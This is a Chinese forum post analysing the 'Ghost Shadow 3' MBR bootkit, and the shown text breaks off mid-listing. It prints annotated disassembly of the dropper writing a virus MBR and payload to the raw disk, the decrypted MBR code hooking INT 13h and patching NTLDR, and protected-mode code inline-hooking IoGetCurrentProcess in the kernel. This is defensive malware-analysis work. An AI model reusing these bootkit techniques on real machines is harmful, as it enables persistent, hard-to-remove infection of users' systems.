吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 38667|回复: 81
收起左侧

[PC样本分析] 再看鬼影3代

  [复制链接]
willJ 发表于 2013-5-2 17:39
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 willJ 于 2013-5-5 16:45 编辑

  像鬼影,MBR这些引导扇区病毒已经被众人玩爆了,总结下最近分析的一个老毒鬼影3代,也算是对基本的引导扇区知识做了了解,和大家分享下。
0x1 鬼影3代母体分析
0x2 鬼影3代MBR分析
0x3 鬼影3代保护模式代码分析
0x4 鬼影3代释放的alg.exe分析
0x5 鬼影3代释放的hello_tt.sys分析

  鬼影3代母体主要功能:
  1.获取磁盘结构。
  2.获取原始MBR,并且加密保存在磁盘末尾地方。
  3.写入病毒MBR
  4.将驱动和下载者保存到磁盘末尾地区。
  5.SCM方式启动驱动,驱动将创建下载者,运行下载者。
  OD打开母体的时候没有问题,但是IDA打开的时候会受到花指令了干扰,最好利用U ,C调整代码,或者直接将花指令nop掉,不然在F5的时候会遇见问题。
  第一步打开第一磁盘,通过DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY)获取磁盘结构,以便后面将重要数据存放在磁盘末尾。
获得下面的结构得到相应磁盘参数。
[AppleScript] 纯文本查看 复制代码
typedef struct _DISK_GEOMETRY {
  LARGE_INTEGER Cylinders;
  MEDIA_TYPE    MediaType;
  ULONG         TracksPerCylinder;
  ULONG         SectorsPerTrack;
  ULONG         BytesPerSector;
} DISK_GEOMETRY, *PDISK_GEOMETRY;
004114A0   .  6A 00         push 0x0                                 ; /hTemplateFile = NULL
004114A2   .  6A 00         push 0x0                                 ; |Attributes = 0
004114A4   .  6A 03         push 0x3                                 ; |Mode = OPEN_EXISTING
004114A6   .  6A 00         push 0x0                                 ; |pSecurity = NULL
004114A8   .  6A 03         push 0x3                                 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
004114AA   .  68 000000C0   push 0xC0000000                          ; |Access = GENERIC_READ|GENERIC_WRITE
004114AF   .  68 2C0D4100   push mb.00410D2C                         ; |FileName = "\\.\PhysicalDrive0"
004114B4   .  FF15 40024000 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileA
004114BA   .  8985 B8FDFFFF mov dword ptr ss:[ebp-0x248],eax
004114C0   .  6A 00         push 0x0                                 ; /pOverlapped = NULL
004114C2   .  8D95 D4FDFFFF lea edx,dword ptr ss:[ebp-0x22C]         ; |
004114C8   .  52            push edx                                 ; |pBytesReturned
004114C9   .  6A 18         push 0x18                                ; |OutBufferSize = 18 (24.)
004114CB   .  8D85 D8FDFFFF lea eax,dword ptr ss:[ebp-0x228]         ; |
004114D1   .  50            push eax                                 ; |OutBuffer
004114D2   .  6A 00         push 0x0                                 ; |InBufferSize = 0
004114D4   .  6A 00         push 0x0                                 ; |InBuffer = NULL
004114D6   .  68 00000700   push 0x70000                             ; |IoControlCode = IOCTL_DISK_GET_DRIVE_GEOMETRY
004114DB   .  8B8D B8FDFFFF mov ecx,dword ptr ss:[ebp-0x248]         ; |
004114E1   .  51            push ecx                                 ; |hDevice
004114E2   .  FF15 20024000 call dword ptr ds:[<&KERNEL32.DeviceIoCo>; \DeviceIoControl
  第二步计算机磁盘大小,获得一个适当的位置存放恶意代码,此位置靠近磁盘末尾
[AppleScript] 纯文本查看 复制代码
00411546   .  8985 CCFDFFFF mov dword ptr ss:[ebp-0x234],eax
0041154C   .  8995 D0FDFFFF mov dword ptr ss:[ebp-0x230],edx
00411552   .  8B95 CCFDFFFF mov edx,dword ptr ss:[ebp-0x234]
00411558   .  81EA 00200300 sub edx,0x32000
0041155E   .  8B85 D0FDFFFF mov eax,dword ptr ss:[ebp-0x230]
00411564   .  83D8 00       sbb eax,0x0
00411567   .  81EA 00280000 sub edx,0x2800
0041156D   .  83D8 00       sbb eax,0x0
00411570   .  81C2 00020000 add edx,0x200
00411576   .  83D0 00       adc eax,0x0
00411579   .  8995 F0FDFFFF mov dword ptr ss:[ebp-0x210],edx
0041157F   .  8985 F4FDFFFF mov dword ptr ss:[ebp-0x20C],eax
00411585   .  8B8D F0FDFFFF mov ecx,dword ptr ss:[ebp-0x210]
0041158B   .  81E9 00020000 sub ecx,0x200
00411591   .  8B95 F4FDFFFF mov edx,dword ptr ss:[ebp-0x20C]
00411597   .  83DA 00       sbb edx,0x0
0041159A   .  81C1 00280000 add ecx,0x2800
004115A0   .  83D2 00       adc edx,0x0
004115A3   .  81E9 00020000 sub ecx,0x200
004115A9   .  83DA 00       sbb edx,0x0
004115AC   .  898D C4FDFFFF mov dword ptr ss:[ebp-0x23C],ecx
004115B2   .  8995 C8FDFFFF mov dword ptr ss:[ebp-0x238],edx
004115B8   .  83BD CCFDFFFF>cmp dword ptr ss:[ebp-0x234],0x0
  第三步读取原始MBR进行加密,加密算法是左循环移73H位,也就是左循环移3位。
[AppleScript] 纯文本查看 复制代码
0041169C   .  8A82 00034000 mov al,byte ptr ds:[edx+0x400300]
004116A2   .  8885 B4FDFFFF mov byte ptr ss:[ebp-0x24C],al
004116A8   .  8A85 B4FDFFFF mov al,byte ptr ss:[ebp-0x24C]
004116AE   .  66:B9 7300    mov cx,0x73
004116B2   .  D2C0          rol al,cl
004116B4   .  8885 B4FDFFFF mov byte ptr ss:[ebp-0x24C],al
  第四步通过SetFilePointer设置指针坐标位置,WriteFile写入病毒代码到磁盘末尾已经MBR
[AppleScript] 纯文本查看 复制代码
004117B0   .  6A 00         push 0x0                                 ; /Origin = FILE_BEGIN
004117B2   .  8D55 FC       lea edx,dword ptr ss:[ebp-0x4]           ; |
004117B5   .  52            push edx                                 ; |pOffsetHi
004117B6   .  8B45 F8       mov eax,dword ptr ss:[ebp-0x8]           ; |
004117B9   .  50            push eax                                 ; |OffsetLo
004117BA   .  8B8D B8FDFFFF mov ecx,dword ptr ss:[ebp-0x248]         ; |
004117C0   .  51            push ecx                                 ; |hFile
004117C1   .  FF15 28024000 call dword ptr ds:[<&KERNEL32.SetFilePoi>; \SetFilePointer
004117C7   .  83F8 FF       cmp eax,-0x1
004117CA   .  0F84 9E010000 je mb.0041196E
004117D0   .  6A 00         push 0x0                                 ; /pOverlapped = NULL
004117D2   .  8D95 D4FDFFFF lea edx,dword ptr ss:[ebp-0x22C]         ; |
004117D8   .  52            push edx                                 ; |pBytesWritten
004117D9   .  68 00E20000   push 0xE200                              ; |nBytesToWrite = E200 (57856.)
004117DE   .  68 002B4000   push mb.00402B00                         ; |Buffer = mb.00402B00
004117E3   .  8B85 B8FDFFFF mov eax,dword ptr ss:[ebp-0x248]         ; |
004117E9   .  50            push eax                                 ; |hFile
004117EA   .  FF15 2C024000 call dword ptr ds:[<&KERNEL32.WriteFile>>; \WriteFile
  第五步创建驱动hello_tt.sys,通过SCM服务方式加载驱动,删除驱动,等待5秒(这个期间驱动在C盘创建下载者alg.exe),启动C盘的alg.exe。母体执行完毕。
[AppleScript] 纯文本查看 复制代码
004118D8   > \6A 00         push 0x0                                 ; /hTemplateFile = NULL
004118DA   .  68 80000000   push 0x80                                ; |Attributes = NORMAL
004118DF   .  6A 04         push 0x4                                 ; |Mode = OPEN_ALWAYS
004118E1   .  6A 00         push 0x0                                 ; |pSecurity = NULL
004118E3   .  6A 00         push 0x0                                 ; |ShareMode = 0
004118E5   .  68 00000040   push 0x40000000                          ; |Access = GENERIC_WRITE
004118EA   .  68 180D4100   push mb.00410D18                         ; |FileName = "hello_tt.sys"
004118EF   .  FF15 40024000 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileA
004118F5   .  8985 B0FDFFFF mov dword ptr ss:[ebp-0x250],eax
004118FB   .  83BD B0FDFFFF>cmp dword ptr ss:[ebp-0x250],-0x1
00411902   .  74 6A         je short mb.0041196E
00411904   .  6A 00         push 0x0                                 ; /pOverlapped = NULL
00411906   .  8D85 D4FDFFFF lea eax,dword ptr ss:[ebp-0x22C]         ; |
0041190C   .  50            push eax                                 ; |pBytesWritten
0041190D   .  68 001A0000   push 0x1A00                              ; |nBytesToWrite = 1A00 (6656.)
00411912   .  8B8D BCFDFFFF mov ecx,dword ptr ss:[ebp-0x244]         ; |
00411918   .  81C1 00034000 add ecx,mb.00400300                      ; |
0041191E   .  51            push ecx                                 ; |Buffer
0041191F   .  8B95 B0FDFFFF mov edx,dword ptr ss:[ebp-0x250]         ; |
00411925   .  52            push edx                                 ; |hFile
00411926   .  FF15 2C024000 call dword ptr ds:[<&KERNEL32.WriteFile>>; \WriteFile
0041192C   .  8B85 B0FDFFFF mov eax,dword ptr ss:[ebp-0x250]
00411932   .  50            push eax                                 ; /hObject
00411933   .  FF15 30024000 call dword ptr ds:[<&KERNEL32.CloseHandl>; \CloseHandle
00411939   .  68 180D4100   push mb.00410D18                         ;  ASCII "hello_tt.sys"
0041193E   .  68 0C0D4100   push mb.00410D0C                         ;  ASCII "hello_tt"
00411943   .  E8 B8F9FFFF   call mb.00411300                         ;  通过SCM服务方式启动驱动
00411948   .  83C4 08       add esp,0x8
0041194B   .  68 180D4100   push mb.00410D18                         ; /FileName = "hello_tt.sys"
00411950   .  FF15 34024000 call dword ptr ds:[<&KERNEL32.DeleteFile>; \DeleteFileA
00411956   .  68 88130000   push 0x1388                              ; /Timeout = 5000. ms
0041195B   .  FF15 38024000 call dword ptr ds:[<&KERNEL32.Sleep>]    ; \Sleep
00411961   .  6A 05         push 0x5                                 ; /ShowState = SW_SHOW
00411963   .  68 000D4100   push mb.00410D00                         ; |CmdLine = "C:\alg.exe"
00411968   .  FF15 3C024000 call dword ptr ds:[<&KERNEL32.WinExec>]  ; \WinExec
0041196E   >  8B8D B8FDFFFF mov ecx,dword ptr ss:[ebp-0x248]
00411974   .  51            push ecx                                 ; /hObject
00411975   .  FF15 30024000 call dword ptr ds:[<&KERNEL32.CloseHandl>; \CloseHandle

样本地址:
http://www.52pojie.cn/forum.php?mod=viewthread&tid=94212

免费评分

参与人数 2热心值 +2 收起 理由
KaQqi + 1 已答复!
stupidjia + 1 我很赞同!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| willJ 发表于 2013-5-2 17:39
本帖最后由 willJ 于 2013-5-2 18:01 编辑

  鬼影3MBR目的是Hook Int 13H,当执行Int 13H读操作的时候,进一步去搜索Osloader.exe中的特侦码,进行下一步的Hook,等待下一次执行获取权限。解密后面加密后的代码。
  普及下Windows的启动过程
  1.BIOS加电自检
  2.自检完成将MBR加载到内存7C00H的地方执行MBR代码
  3.执行PBR
  4.加载执行NTLDR
  5.BOOT.INI,内核加载等
  6.进入系统
其中NTLDR是由两个部分组成,Startup.com+Osloader.exe
[AppleScript] 纯文本查看 复制代码
seg000:0000 ;
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ; |   This file has been generated by The Interactive Disassembler (IDA)    |
seg000:0000 ; |           Copyright (c) 2011 Hex-Rays, <[url=mailto:support@hex-rays.com]support@hex-rays.com[/url]>           |
seg000:0000 ; |                      License info: 48-327F-7274-B7                      |
seg000:0000 ; |                            ESET spol. s r.o.                            |
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ;
seg000:0000 ; Input MD5   : 5705DEC26970DA764A175090823A00B1
seg000:0000 ; Input CRC32 : 2D814F11
seg000:0000
seg000:0000 ; ---------------------------------------------------------------------------
seg000:0000 ; File Name   : j:\Virus\鬼影3分析\鬼影3之MBR分析\DECODEMBR
seg000:0000 ; Format      : Binary file
seg000:0000 ; Base Address: 0000h Range: 0000h - 0200h Loaded length: 0200h
seg000:0000
seg000:0000                 .686p
seg000:0000                 .mmx
seg000:0000                 .model flat
seg000:0000
seg000:0000 ; ===========================================================================
seg000:0000
seg000:0000 ; Segment type: Pure code
seg000:0000 seg000          segment byte public 'CODE' use16
seg000:0000                 assume cs:seg000
seg000:0000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000                 jb      short loc_5     ; cli是关中断
seg000:0000                                         ; 防止有些硬件中断对程序的干扰
seg000:0002                 jnb     short loc_5     ; 不管任何情况都跳到loc_5
seg000:0002 ; ---------------------------------------------------------------------------
seg000:0004                 db  0Ah
seg000:0005 ; ---------------------------------------------------------------------------
seg000:0005
seg000:0005 loc_5:                                  ; CODE XREF: seg000:0000j
seg000:0005                                         ; seg000:0002j
seg000:0005                 cli                     ; cli是关中断
seg000:0005                                         ; 防止有些硬件中断对程序的干扰
seg000:0006                 mov     word ptr cs:600h, es
seg000:000B                 mov     cs:602h, sp
seg000:0010                 mov     word ptr cs:604h, ss
seg000:0015                 mov     dword ptr cs:7FCh, 800h
seg000:001F                 lss     sp, cs:7FCh     ; 进行一些初始化操作
seg000:0025                 pushad                  ; 保存寄存器
seg000:0027                 push    ds              ; 压栈ds
seg000:0028                 mov     bx, cs:413h     ; BIOS的内存地址存放到bx
seg000:002D                 sub     bx, 0Dh         ; 申请0Dhkb的大小的BIOS内存
seg000:0031                 and     bl, 0FCh        ; 按照4K对齐
seg000:0034                 mov     cs:413h, bx     ; 剩下的地址赋值回去
seg000:0039                 shl     bx, 6           ; 获取段地址大小
seg000:0039                                         ; 计算方法是×2的10次方,然后除以2的4次方,所以左移6位
seg000:003C                 mov     es, bx          ; 将段地址赋值给es
seg000:003E                 xor     bx, bx          ; 清零bx
seg000:0040                 mov     ax, 201h        ; ah赋值为2h,al赋值为1h
seg000:0040                                         ; ah为int 13h的功能号,al为读取扇区数
seg000:0043                 mov     cx, 1           ; cx赋值为1
seg000:0043                                         ; cx表示从第一个扇区读取
seg000:0046                 mov     dx, 80h ;   ; 80H表示读取介质类型为硬盘
            
seg000:0049                 int     13h             ; DISK - READ SECTORS INTO MEMORY
seg000:0049                                         ; AL = number of sectors to read, CH = track, CL = sector
seg000:0049                                         ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:0049                                         ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:004B
seg000:004B loc_4B:                                 ; DATA XREF: seg000:0049r
seg000:004B                                         ; seg000:0063r ...
seg000:004B                 jb      short loc_50    ; 压栈es
seg000:004D
seg000:004D loc_4D:                                 ; DATA XREF: seg000:00B3w
seg000:004D                 jnb     short loc_50    ; 跳向loc_50指向
seg000:004D ; ---------------------------------------------------------------------------
seg000:004F                 db    2
seg000:0050 ; ---------------------------------------------------------------------------
seg000:0050
seg000:0050 loc_50:                                 ; CODE XREF: seg000:loc_4Bj
seg000:0050                                         ; seg000:loc_4Dj
seg000:0050                 push    es              ; 压栈es
seg000:0051                 push    offset loc_55
seg000:0054                 retf                    ; 相当于跳转命令
seg000:0054                                         ; jmp loc_55
seg000:0055
seg000:0055 loc_55:                                 ; DATA XREF: seg000:0051o
seg000:0055                 push    cs
seg000:0056                 pop     ds              ; 想当于指令mov ds,cs
seg000:0057                 mov     si, 6Ch ; 此为一个扩展读操作,参数放在一个DAP结构中
seg000:0057                                         ; struct DiskAddressPacket
seg000:0057                                         ; {
seg000:0057                                         ;     BYTE PacketSize;     // 数据包尺寸(16字节)
seg000:0057                                         ;     BYTE Reserved;       // ==0
seg000:0057                                         ;     WORD BlockCount;     // 要传输的数据块个数(以扇区为单位)
seg000:0057                                         ;     DWORD BufferAddr;    // 传输缓冲地址(segment:offset)
seg000:0057                                         ;     QWORD BlockNum;      // 磁盘起始绝对块地址
seg000:0057                                         ; };
seg000:005A                 mov     ax, cs
seg000:005C                 mov     [si+6], ax
seg000:005F                 mov     ah, 42h ; 'B'
seg000:0061                 mov     dl, 80h ; 从DAP结构可以看出第一,第二参数是固定的,从4FFD483h读取14H个扇区到200h位置
seg000:0061                                         ; db 10h
seg000:0061                                         ; db 0
seg000:0061                                         ; dw 14h
seg000:0061                                         ; dd 200h
seg000:0061                                         ; dd 4FFD482h
seg000:0061                                         ; dd 0
seg000:0063                 int     13h             ; DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)
seg000:0065                 jb      short loc_6A
seg000:0067                 jnb     short loc_6A    ; 跳向loc_6A
seg000:0067 ; ---------------------------------------------------------------------------
seg000:0069                 db    3
seg000:006A ; ---------------------------------------------------------------------------
seg000:006A
seg000:006A loc_6A:                                 ; CODE XREF: seg000:0065j
seg000:006A                                         ; seg000:0067j
seg000:006A                 jmp     short loc_7C    ; 以下代码是解密加密的代码区
seg000:006A                                         ; 从9Eh开始,大小2762h
seg000:006A ; ---------------------------------------------------------------------------
seg000:006C                 db 10h
seg000:006D                 db 0
seg000:006E                 dw 14h
seg000:0070                 dd 200h
seg000:0074                 dd 4FFD482h
seg000:0078                 dd 0
seg000:007C ; ---------------------------------------------------------------------------
seg000:007C
seg000:007C loc_7C:                                 ; CODE XREF: seg000:loc_6Aj
seg000:007C                 mov     si, 9Eh ; '   ; 以下代码是解密加密的代码区
seg000:007C                                         ; 从9Eh开始,大小2762h
seg000:007F                 mov     cx, 2762h
seg000:0082
seg000:0082 loc_82:                                 ; CODE XREF: seg000:009Cj
seg000:0082                 push    cx
seg000:0083                 mov     al, [si]
seg000:0085                 or      al, al
seg000:0087                 jz      short _DeCodeOver ; 解密结束
seg000:0089                 jb      short _DeCode   ; 赋值cx为73h
seg000:008B                 jnb     short _DeCode   ; 执行解密代码
seg000:008B ; ---------------------------------------------------------------------------
seg000:008D                 db    3
seg000:008E ; ---------------------------------------------------------------------------
seg000:008E
seg000:008E _DeCode:                                ; CODE XREF: seg000:0089j
seg000:008E                                         ; seg000:008Bj
seg000:008E                 mov     cx, 73h ; 赋值cx为73h
seg000:0091                 jb      short loc_96    ; 将al循环右移73H,其实也就是右移3H
seg000:0093                 jnb     short loc_96    ; 将al循环右移73H,其实也就是右移3H
seg000:0093 ; ---------------------------------------------------------------------------
seg000:0095                 db    4
seg000:0096 ; ---------------------------------------------------------------------------
seg000:0096
seg000:0096 loc_96:                                 ; CODE XREF: seg000:0091j
seg000:0096                                         ; seg000:0093j
seg000:0096                 ror     al, cl          ; 将al循环右移73H,其实也就是右移3H
seg000:0098                 mov     [si], al        ; 解密后的内容赋值回去
seg000:009A
seg000:009A _DeCodeOver:                            ; CODE XREF: seg000:0087j
seg000:009A                 inc     si              ; si自增1
seg000:009B                 pop     cx
seg000:009C                 loop    loc_82          ; 判断是否执行结束
seg000:009E                 push    0               ; 后面的代码都是经过解密获取的
seg000:009E                                         ; 我将解密的代码拼接在一起
seg000:00A1                 pop     es              ; 将es赋值为0
seg000:00A2                 mov     eax, dword ptr es:loc_4B+1 ; loc_4b+1保存着INT 13H的地址
seg000:00A7                 mov     cs:dword_106, eax ; 将Int 13h地址赋值给cs:dword_106,保存原始Int 13H的地址
seg000:00AC                 mov     word ptr es:loc_4B+1, offset _HookInt13HFunc ; 将Hook Int 13h地址赋值过去,达到Hook效果
seg000:00B3                 mov     word ptr es:loc_4D+1, cs ; 段寄存器赋值
seg000:00B8                 xor     ebx, ebx        ; 清零ebx
seg000:00BB                 mov     bx, cs          ; cs段赋值给bx
seg000:00BD                 shl     ebx, 4          ; 获取段地址
seg000:00C1                 or      cs:239h, ebx    ; 段地址赋值
seg000:00C7                 or      cs:3C3h, ebx    ; 段地址赋值
seg000:00CD                 add     ebx, 204h       ; 因为后面的代码通过扩展读到200H的地方
seg000:00CD                                         ; 这里的地址就是后面的病毒代码地址
seg000:00D4                 mov     cs:200h, ebx    ; 将Hook的地址放到cs:200H的地方
seg000:00DA                 mov     di, 7C00h       ; 目标地址
seg000:00DD                 mov     si, 2600h       ; 原始MBR存放地址
seg000:00E0                 mov     cx, 200h        ; 大小为200H
seg000:00E3                 cld
seg000:00E4                 rep movsb               ; 串赋值操作,将原始MBR拷贝到7C00H地方
seg000:00E6                 pop     ds
seg000:00E7                 popad
seg000:00E9                 lss     sp, es:602h
seg000:00EF                 mov     es, word ptr es:600h ; 恢复现场操作
seg000:00F4                 jmp     far ptr 0:7C00h ; 跳向7C00H处执行原始MBR
seg000:00F9 ; ---------------------------------------------------------------------------
seg000:00F9
seg000:00F9 _HookInt13HFunc:                        ; DATA XREF: seg000:00ACo
seg000:00F9                 pushf
seg000:00FA                 cmp     ah, 42h ; 'B'
seg000:00FD                 jz      short loc_10A
seg000:00FF                 cmp     ah, 2
seg000:0102                 jz      short loc_10A
seg000:0104                 popf                    ; 以上代码是判断Int 13H的功能号是2h还是42H
seg000:0104 ; ---------------------------------------------------------------------------
seg000:0105                 db 0EAh ;             ; EA是Jmp的机器猫,下面存放原始Int 13h的地址
seg000:0106 dword_106       dd 0                    ; DATA XREF: seg000:00A7w
seg000:0106                                         ; seg000:0110r
seg000:010A ; ---------------------------------------------------------------------------
seg000:010A
seg000:010A loc_10A:                                ; CODE XREF: seg000:00FDj
seg000:010A                                         ; seg000:0102j
seg000:010A                 popf
seg000:010B                 mov     word ptr cs:loc_11F+1, ax ; 将ax存放在指定位置
seg000:010F                 pushf
seg000:0110                 call    cs:dword_106    ; 调用原始int 13H功能
seg000:0115                 jb      _Over           ; 如果不是读操作,执行完毕就结束
seg000:0119                 pushf
seg000:011A                 cli                     ; cli是关中断,防止有些硬件中断对程序的干扰
seg000:011B                 push    es
seg000:011C                 push    ds
seg000:011D                 pushad                  ; 保护现场操作
seg000:011F
seg000:011F loc_11F:                                ; DATA XREF: seg000:010Bw
seg000:011F                                         ; seg000:0129w ...
seg000:011F                 mov     ax, 0           ; 此处被上面的代码修改过
seg000:011F                                         ; mov     word ptr cs:loc_11F+1, ax
seg000:0122                 cmp     ah, 42h ; 'B'   ; 比较中断功能号是不是扩展读
seg000:0125                 jnz     short _NotExternRead ; 不是扩展读就跳走
seg000:0127                 lodsw
seg000:0128                 lodsw                   ; ds:si扩展读的方式,指向的是磁盘数据地址数据包
seg000:0129                 mov     word ptr cs:loc_11F+1, ax
seg000:012D                 les     bx, [si]        ; LES指令的功能是:把内存中指定位置的双字操作数的低位字装入指令中指定的寄存器
seg000:012D                                         ; 高位字装入ES寄存器。 也就是找到缓存的位子
seg000:012F
seg000:012F _NotExternRead:                         ; CODE XREF: seg000:0125j
seg000:012F                 mov     ax, word ptr cs:loc_11F+1 ; 获取中断功能号
seg000:0133                 test    al, al          ; ax为0就不跳,不为0就跳,测试读取的扇区数
seg000:0135                 jle     short _EXIT
seg000:0137                 xor     cx, cx          ; 清零cx
seg000:0139                 mov     cl, al          ; 将扇区数存放到cl
seg000:013B                 shl     cx, 9           ; 获取扇区总大小
seg000:013E                 mov     al, 8Bh ; '   ; 第一个搜索标志
seg000:0140                 mov     di, bx          ; 目标地址
seg000:0142                 cld                     ; 置位标志位
seg000:0143
seg000:0143 _INT13HookScan:                         ; CODE XREF: seg000:014Fj
seg000:0143                                         ; seg000:0157j
seg000:0143                 repne scasb             ; 开始查找
seg000:0145                 jnz     short _EXIT
seg000:0147                 cmp     dword ptr es:[di], 74F685F0h ; 这是下一个搜索标志位
seg000:014F                 jnz     short _INT13HookScan ;  检测 ntldr 中的特征序列 8B F0 85 F6 74 21/22 80 3D
seg000:0151                 cmp     word ptr es:[di+4], 8021h ; 这也是一个搜索标志
seg000:0157                 jnz     short _INT13HookScan ;  检测 ntldr 中的特征序列 8B F0 85 F6 74 21/22 80 3D
seg000:0159                 push    es              ; 压栈es
seg000:015A                 xor     eax, eax        ; 清零eax
seg000:015D                 mov     es, ax          ; es清零
seg000:015F                 mov     ax, cs          ; cs赋值给ax
seg000:0161                 shl     eax, 4          ; 获取段地址
seg000:0165                 add     eax, 200h       ; 这个为病毒后面代码区域
seg000:016B                 pop     es              ; 还原es
seg000:016C                 mov     word ptr es:[di-1], 15FFh ; 这里是一个CALL的机器码
seg000:0172                 mov     es:[di+1], eax  ; 这里达到Hook的效果Call [offset],offset的地址存放在eax
seg000:0177
seg000:0177 _EXIT:                                  ; CODE XREF: seg000:0135j
seg000:0177                                         ; seg000:0145j
seg000:0177                 popad
seg000:0179                 pop     ds
seg000:017A                 pop     es
seg000:017B                 popf
seg000:017C
seg000:017C _Over:                                  ; CODE XREF: seg000:0115j
seg000:017C                 retf    2

下图是搜索的地方,以及要Hook的地方。
OSloaderHook.PNG

未知的事物 发表于 2015-3-1 18:29
 楼主| willJ 发表于 2013-5-2 17:39
本帖最后由 willJ 于 2013-5-2 19:13 编辑

保护模式下面的代码的主要作用是以下几点
  1.当执行Osloader.exe的时候,由于前期对其做了Hook操作,所以病毒代码再次执行起来,这个时候已经切换到保护模式。
  2.搜索空间获取_BlLoaderBlock地址,通过此结构获取ntoskrnl.exe的基址。
  3.通过搜索导出表的方式搜索IoGetCurrentPorcess的地址
  4.IoGetCurrentPorcess进行Inline Hook操作
  5.当执行IoGetCurrentPorcess时候再次运行病毒代码,病毒再次获得执行权限
  6.病毒开始替换驱动beep.sys,加载自己的驱动
[AppleScript] 纯文本查看 复制代码
seg000:00000000                 dd 0                    ; NTLDR Hook Call的地址
seg000:00000004 ; ---------------------------------------------------------------------------
seg000:00000004                 pushf
seg000:00000005                 pusha                   ; 保护现场操作
seg000:00000006                 mov     edi, [esp+24h]  ; [esp+24h]指向的是Osloader,将其存放到edi
seg000:0000000A                 and     edi, 0FFF00000h ; 将edi操作后获得镜像基址
seg000:00000010                 cld                     ; 设置DF标志位为0
seg000:00000011                 mov     al, 0C7h ; '  ; 将0C7h赋值到al用于搜索
seg000:00000013
seg000:00000013 _ModuleFindLoop:                        ; CODE XREF: seg000:00000014j
seg000:00000013                                         ; seg000:0000001Cj
seg000:00000013                 scasb                   ; 搜索edi中的内容
seg000:00000014                 jnz     short _ModuleFindLoop ; 搜索edi中的内容
seg000:00000016                 cmp     dword ptr [edi], 40003446h ; 继续搜索标志位
seg000:0000001C                 jnz     short _ModuleFindLoop ; 搜索edi中的内容
seg000:0000001E                 mov     al, 0A1h ; '  ; 赋值0A1h到al用于搜索
seg000:00000020
seg000:00000020 _ModuleBaseFindLoop:                    ; CODE XREF: seg000:00000021j
seg000:00000020                 scasb                   ; 继续将edi中的内容与al进行比较
seg000:00000021                 jnz     short _ModuleBaseFindLoop ; 继续将edi中的内容与al进行比较
seg000:00000023                 mov     esi, [edi]      ; ESI <- LIST_ENTRY
seg000:00000023                                         ; struct _BlLoaderBlock
seg000:00000023                                         ; {
seg000:00000023                                         ; +00h  LIST_ENTRY      module list links
seg000:00000023                                         ; +08h  [10h]           ???
seg000:00000023                                         ; +18h  PTR             image base address
seg000:00000023                                         ; +1Ch  PTR             module entry point
seg000:00000023                                         ; +20h  DWORD           size of loaded module in memory
seg000:00000023                                         ; +24h  UNICODE_STRING  full module path and file name
seg000:00000023                                         ; +2Ch  UNICODE_STRING  module file name
seg000:00000023                                         ; }
seg000:00000025                 mov     esi, [esi]      ; ESI指向的是头节点
seg000:00000027                 lodsd                   ; 获取第二个节点放在eax
seg000:00000028                 mov     ebx, [eax+18h]  ; 将镜像基址存放到ebx
seg000:0000002B                 call    _HookFunction
seg000:00000030                 sub     dword ptr [esp], 5 ; Hook的起始地址,会被写入Ntoskrnl.exe,长度为37H
seg000:00000037                 pusha
seg000:00000038
seg000:00000038 loc_38:
seg000:00000038                 mov     eax, 1
seg000:0000003D                 xor     ecx, ecx
seg000:0000003F                 mov     ch, 3           ; 赋值ecx为300H,表示长度为300H
seg000:00000041                 mov     edx, 0C0000000h
seg000:00000046
seg000:00000046 loc_46:
seg000:00000046                 mov     esi, 200h
seg000:0000004B
seg000:0000004B loc_4B:
seg000:0000004B                 mov     edi, 0FFDF0800h
seg000:00000050                 xchg    eax, [edx]      ; 0FFDF0800h内核当中共享用户数据区地址
seg000:00000052                 wbinvd
seg000:00000054                 rep movsb               ; 拷贝数据到0FFDF0800h
seg000:00000056                 mov     [edx], eax
seg000:00000058                 wbinvd                  ; WBINVD指令使片上的超高速缓存无效即:
seg000:00000058                                         ; 清洗片上的超高速缓存。
seg000:00000058                                         ; 但该指令将把片上的超高速缓存中更改的内容写回主存。
seg000:00000058                                         ; 该指令是特权指令,只有在实方式和保护方式的特权级0下,才可执行该指令。
seg000:0000005A                 push    0
seg000:0000005C                 push    0               ; 这两句会被下面Hook代码修改掉
seg000:00000061                 push    0FFDF08AFh      ; 相当于jmp指令,跳向0FFDF08AFH继续执行恶意代码
seg000:00000066                 retn
seg000:00000067
seg000:00000067 ; =============== S U B R O U T I N E =======================================
seg000:00000067
seg000:00000067
seg000:00000067 _HookFunction   proc near               ; CODE XREF: seg000:0000002Bp
seg000:00000067
seg000:00000067 arg_24          = dword ptr  28h
seg000:00000067
seg000:00000067                 pop     esi
seg000:00000068                 mov     ecx, 37h ; '7'  ; pop esi,将esi赋值为CALL的返回地址
seg000:00000068                                         ; 赋值ecx为37h,也就是Hook代码的长度,后面会用到
seg000:0000006D                 mov     [esi+204h], ebx ; ebx存放镜像基址,存放到[esi+204h]
seg000:00000073                 lea     edi, [ebx+40h]  ; 将镜像基址+40H的地址赋值给edi
seg000:00000076                 mov     ebp, edi        ; 将edi赋值给ebp,保存edi
seg000:00000078                 rep movsb               ; 将Hook函数代码拷贝到镜像基址+40H的地方
seg000:0000007A                 push    0CE8C3177h      ; 这是IoGetCurrentProcess的hash
seg000:0000007F                 call    _GetPeExport    ; 通过遍历PE导出表对比HASH确定所需要函数地址
seg000:00000084                 xchg    eax, esi        ; 调换eax和esi的值
seg000:00000085                 sub     edi, 0Ah
seg000:0000008B                 movsd
seg000:0000008C                 sub     edi, 6
